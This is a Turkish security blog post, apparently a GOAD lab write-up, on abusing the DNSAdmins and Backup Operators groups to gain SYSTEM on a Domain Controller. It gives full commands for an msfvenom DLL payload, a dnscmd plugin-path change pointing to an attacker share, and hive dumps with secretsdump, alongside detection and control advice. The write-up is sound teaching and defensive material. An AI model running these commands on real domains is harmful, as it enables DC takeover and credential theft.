---
title: "DNSAdmins ve Backup Operators: DC'de SYSTEM'e Ayrıcalıklı Grup İstismarı"
description: "Son iki GOAD tekniği exploit değil, gruplardır: DNSAdmins, DNS servisine bir DLL yükler; Backup Operators ise işletim sisteminin gizlemeyi tercih ettiği verileri okur. Biri uçtan uca gösteriliyor, diğeri uzak registry pürüzüyle dürüstçe belgeleniyor ve ikisinin de kapsamadığı relay boşluğu ayrıca anlatılıyor."
date: 2026-11-06
author: Sevban Dönmez (@jankesec)
canonical: https://jankesec.com/tr/yazilar/dnsadmins-backup-operators/
---

## Exploit değil — gruplar

Bu serinin ilk dört bölümü kimlik bilgileri, ACL'ler, güvenler ve sertifikalar üzerinden ilerledi. Son iki teknik ise farklıdır: bunlar **yerleşik ayrıcalıklı gruplardır** ve üyelikleri başlı başına zafiyettir. Bir kullanıcıya yanlış grubu verdiğinde, arada tek bir exploit olmadan Domain Controller üzerinde SYSTEM'e giden bir yol vermiş olursun. Bu yüzden bu iki teknik, zafiyet avından çok yetki modelini anlama meselesidir. Bir yazılım açığı yamayla kapanır; yanlış verilmiş bir grup üyeliği ise ancak fark edilip geri alınarak kapanır. Bu ayrım, savunmanın neden envanter ve denetim üzerine kurulması gerektiğini de açıklar.

İkisinin de kalıbı aynıdır, bu yüzden yalnızca bir kez göstereceğim: zaten Domain Admin olduğum için gruba bir test hesabı ekliyorum, ardından istismarı o hesabın bakış açısından yürütüyorum. Amaç, gerçek bir saldırganın eline geçen tek bir grup üyeliğinin nelere dönüşebileceğini göstermek.

## DNSAdmins: SYSTEM olarak yüklenen bir DLL

`DNSAdmins` üyeleri, Domain Controller üzerindeki DNS servisini yönetebilir. Tehlikeli kısım tek bir ayardır: `ServerLevelPluginDll`, DNS servisine başlangıçta rastgele bir DLL yüklemesini söyler. DNS servisi `SYSTEM` olarak çalıştığı için seçtiğin DLL de `SYSTEM` olarak çalışır. Saldırının tamamı bundan ibarettir: ayrıcalıklı bir servisin yüklediği kod, servisin sahip olduğu tüm yetkileri devralır. Burada zafiyet DLL'in kendisinde değil, o DLL'in yolunu değiştirebilme yetkisindedir.

Önce gruba bir kullanıcı ekliyorum ve DLL'i üretiyorum. `msfvenom`, `DllMain` içinde yükleme anında bir komut çalıştıran bir DLL üretir. Windows bir DLL'i yüklediğinde `DllMain` fonksiyonunu çağırır; saldırı da tam olarak bu otomatik çağrıya yaslanır, ayrıca bir tetikleyiciye ihtiyaç duymaz:

```bash
$ bloodyAD --host 192.168.56.10 -d sevenkingdoms.local -u Administrator -p "aad3b...a1705e" add groupMember "DnsAdmins" backup.ops
[+] backup.ops added to DnsAdmins

$ msfvenom -p windows/x64/exec CMD="cmd /c whoami > C:\Windows\Temp\dns-pwned.txt" -f dll -o evil.dll
Payload size: 314 bytes
Final size of dll file: 9216 bytes
```

DLL DC'ye konur ve plugin yolu `dnscmd.exe` ile ayarlanır:

```bash
$ dnscmd.exe /config /serverlevelplugindll C:\Windows\Temp\evil.dll
Registry property serverlevelplugindll successfully reset.
```

DNS servisini yeniden başlattığında DLL, servisin `SYSTEM` bağlamında yüklenir:

```bash
$ sc stop dns && sc start dns
...
$ dir C:\Windows\Temp\dns-pwned.txt
11/04/2026  08:16 AM   0 dns-pwned.txt
```

Dosyanın belirmesi, payload'ın DNS servisinin process'i içinde çalıştığını gösterir — yani bir Domain Controller üzerinde `SYSTEM` yetkisiyle. Gerçek bir payload (`net user`, bir beacon ya da reverse shell) `whoami` komutunun yerini alır; sonuç, yalnızca bir grup üyeliğinden elde edilen tam DC ele geçirmesidir.

Açıkça belirtmeye değer tek şey tetikleyicidir. `dnscmd.exe`, ayarın üzerinde taşındığı DNS-RPC protokolünü konuşan *istemcidir* ve bir Windows binary'sidir. Gerçek bir saldırıda `DNSAdmins` üyesi bu komutu kendi makinesinden DC'ye karşı çalıştırır (`dnscmd.exe \\DC /config /serverlevelplugindll \\attacker\share\evil.dll`). Bu laboratuvarda saldırı makinesinde Windows istemci bulunmadığından, mekanizmayı göstermek için aynı komutu doğrudan DC üzerinde çalıştırdım. Önemli olan ayrıcalık sınırı bu durumdan etkilenmez: asıl soru, *hangi hesapların o değeri ayarlamasına izin verildiğidir*.

**Tespit:** `HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters` altındaki `ServerLevelPluginDll` değişikliği alarm vermeye değecek kadar nadirdir; DNS servisinin geçici bir yoldan imzasız bir DLL yüklemesi ise asıl sinyaldir. Bu iki olayın aynı zaman aralığında birlikte görülmesi ise neredeyse kesin bir saldırı işaretidir.

**Kontrol:** `DNSAdmins` üyeliğini denetle (ideal olarak boş olmalı) ve `lsass`'a komşu servislerin enjekte edilmesini zorlaştırmak için LSA Protection'ı etkinleştir. Grup üyeliğini yalnızca DNS yönetimi gerçekten gerektiğinde, süreli ve gerekçeli olarak ver.

## Backup Operators: işletim sisteminin gizlediğini oku

`Backup Operators` üyeleri `SeBackupPrivilege` ve `SeRestorePrivilege` ayrıcalıklarını taşır. Bu ayrıcalık, yedekleme yazılımının normalde erişemeyeceği dosyaları okumasını sağlamak için tasarlanmıştır — ve etkisi iki yönlüdür: gruptaki bir saldırgan `ntds.dit` dosyasını, `SAM` kovanını ve `SYSTEM`/`SECURITY` kovanlarını okuyabilir. Klasik zincir, bir registry save işlemi ardından çevrimdışı dump almaktır. Kovanları dosyaya çıkardıktan sonra hash'leri kendi makinen üzerinde, DC'ye hiç dokunmadan çıkarabilirsin; bu da tespit edilmeyi zorlaştırır:

```bash
$ reg.exe save HKLM\SAM     C:\temp\sam
$ reg.exe save HKLM\SYSTEM  C:\temp\system
$ secretsdump.py -sam sam -system system LOCAL
```

Bu laboratuvarda hesabı ekleyip `Backup Operators` üyeliğini doğrulayabildim, ancak uzak registry save işlemi access-denied döndü. Bu, `SeBackupPrivilege` ayrıcalığının belirli bir işlem için etkinleştirilmesi gereken bir *token* ayrıcalığı olduğunu ve uzak `winreg` yolunun her zaman yerel yol kadar izin verici olmadığını hatırlatır. Yani ayrıcalığa sahip olmak, onu her bağlamda kullanabileceğin anlamına gelmez; erişim yolu ve token durumu da işin parçasıdır. Teknik burada tam komutlarla belgelenmiştir ve dürüst sonuç şudur: grup üyeliği zafiyetin kendisidir, uzak pürüz ise ortama özgü bir ayrıntıdır.

**Tespit:** yedekleme dışı hesapların `SAM`/`SYSTEM`/`SECURITY` okumasını ya da bu kovanlara karşı çalıştırılan `reg save` komutunu izle. Normalde yedekleme penceresi dışında bu kovanlara erişilmesi güçlü bir uyarı işaretidir.

**Kontrol:** `Backup Operators` üyeliğini denetle ve grubu yalnızca gerçek yedekleme servis hesaplarıyla sınırla. İnsan hesaplarının bu grupta bulunması, çoğu ortamda gereksiz ve riskli bir alışkanlıktır.

## Bu ikisinin kapsamadığı boşluk

Bu iki teknik, ağ relay primitifi değildir. Kalan GOAD yüzeyi — LLMNR/NBT-NS zehirleme, NTLM relay ve yazıcı zorlama (printer coercion) — saldırganın hedeflerle **aynı katman-2 segmentinde** oturmasını gerektirir. Kali makinem laboratuvar alt ağına *routed* bağlı, bridged değil; bu yüzden bu teknikler burada hiç gösterilemiyor. Bunlar ayrı bir kategoridir: grup istismarı değil, ağ konumu istismarıdır ve gerektirdikleri topolojiyle birlikte kendi notlarını hak eder. Bir saldırganın aynı L2 segmentinde olması, bu tekniklerin ön koşuludur; segment değiştiğinde saldırı da tamamen değişir.

## Özet

| Grup | Yetki | İstismar | Sonuç |
| --- | --- | --- | --- |
| `DNSAdmins` | DNS servisini yönet | `ServerLevelPluginDll` → DLL | DC'de SYSTEM |
| `Backup Operators` | `SeBackupPrivilege` | SAM/SYSTEM/SECURITY oku | çevrimdışı hash dump |

Birleştirici kontrol, seri boyunca tekrar eden kontrolle aynıdır: **grup üyeliği, bir parola gibi denetlemen gereken bir ayrıcalıktır.** Bu iki grup boş ya da sıkı biçimde kapsamlandırılmış olmalıdır, çünkü tüm işleri "tek hesap" ile "tüm makine" arasındaki sınırı geçmektir. Bir grup üyeliğinin fark edilmeden aylarca kalması, teknik olarak tek bir zafiyetten daha tehlikeli olabilir. Çünkü zafiyet yamalanana kadar bekler, grup üyeliği ise saldırganın her an kullanabileceği kalıcı bir kapıdır. Bu yüzden ölçüm, yalnızca "grup boş mu" değil, "bu üyelik en son ne zaman ve neden verildi" sorusunu da kapsamalıdır.

<figure class="diagram">
<svg viewBox="0 0 760 220" xmlns="http://www.w3.org/2000/svg" role="img" aria-label="Domain Controller üzerinde ayrıcalıklı grup istismarı: DNSAdmins ServerLevelPluginDll ile SYSTEM olarak DLL yüklerken, Backup Operators SeBackupPrivilege ile SAM ve SYSTEM yığınlarını okur.">
<defs><marker id="db1" viewBox="0 0 8 8" refX="7" refY="4" markerWidth="7" markerHeight="7" orient="auto"><path d="M0,0 L8,4 L0,8 z" class="dg-arrow-crit" /></marker></defs>
<text x="0" y="16" class="dg-muted">AYRICALIKLI GRUPLAR · DC ELE GEÇİRMEYE GİDEN YERLEŞİK YOLLAR</text>
<rect x="0" y="40" width="220" height="120" rx="8" class="dg-box" />
<text x="14" y="66" class="dg-label">1 · Grup üyeliği</text>
<text x="14" y="88" class="dg-mono dg-compact">DNSAdmins | Backup Operators</text>
<text x="14" y="108" class="dg-muted">yerleşik AD güvenlik grupları</text>
<line x1="220" y1="100" x2="262" y2="100" class="dg-line-crit" marker-end="url(#db1)" />
<rect x="266" y="40" width="230" height="120" rx="8" class="dg-box-accent" />
<text x="280" y="66" class="dg-label">2 · Servis / token hakkı</text>
<text x="280" y="88" class="dg-mono dg-compact">ServerLevelPluginDll / SeBackup</text>
<text x="280" y="108" class="dg-muted">DNS servisi veya hive okuma</text>
<line x1="496" y1="100" x2="538" y2="100" class="dg-line-crit" marker-end="url(#db1)" />
<rect x="542" y="40" width="218" height="120" rx="8" class="dg-box-danger" />
<text x="556" y="66" class="dg-label">3 · DC ele geçirme</text>
<text x="556" y="88" class="dg-mono dg-compact">SYSTEM DLL | SAM + SYSTEM</text>
<text x="556" y="108" class="dg-crit">tam Domain Controller kontrolü</text>
</svg>
<figcaption>İki yerleşik grup, iki ayrı primitif: <code>DNSAdmins</code> <code>SYSTEM</code> DNS servisine kod yükler; <code>Backup Operators</code> korunan kimlik bilgisi depolarını okur.</figcaption>
</figure>

## Kanıt ve sınırlar

`DNSAdmins` eklenti DLL yüklemesi, izole GOAD laboratuvarındaki `KINGSLANDING` (`192.168.56.10`) üzerinde gruba özel bir test hesabı (`backup.ops`) eklenerek doğrulanmıştır. Saldırı makinesi, domain'e katılmış bir Windows iş istasyonu yerine Linux çalıştırdığından, `ServerLevelPluginDll` mekanizmasını göstermek üzere `dnscmd.exe` doğrudan DC üzerinde çalıştırılmıştır. `Backup Operators` tarafında ise Kali üzerinden karşılaşılan uzak `winreg` kayıt kısıtlaması gözlemlendiği şekliyle belgelenmiş ve test sonrasında laboratuvar temiz snapshot durumuna döndürülmüştür.

## Referanslar

- **Sean Metcalf, ADSecurity — Abuse of the DNSAdmins Group:** [adsecurity.org/?p=4064](https://adsecurity.org/?p=4064)
- **The Hacker Recipes, Security groups (DNSAdmins, Backup Operators):** [thehacker.recipes/ad/movement/builtins/security-groups](https://www.thehacker.recipes/ad/movement/builtins/security-groups)
- **MITRE ATT&CK, Account Manipulation (T1098):** [attack.mitre.org/techniques/T1098](https://attack.mitre.org/techniques/T1098/)
- **MITRE ATT&CK, OS Credential Dumping (T1003):** [attack.mitre.org/techniques/T1003](https://attack.mitre.org/techniques/T1003/)
